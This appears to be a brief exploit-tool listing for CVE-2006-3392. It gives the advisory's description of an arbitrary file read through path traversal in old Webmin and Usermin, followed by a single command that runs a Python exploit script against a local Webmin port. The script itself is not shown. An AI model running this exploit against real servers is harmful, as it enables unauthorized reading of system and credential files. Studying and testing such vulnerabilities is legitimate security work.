CVE-2006-3392

Description

Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.

Execution

root@kitploit:~
$ python3 CVE-2006-3392.py -u http://127.0.0.1:10000
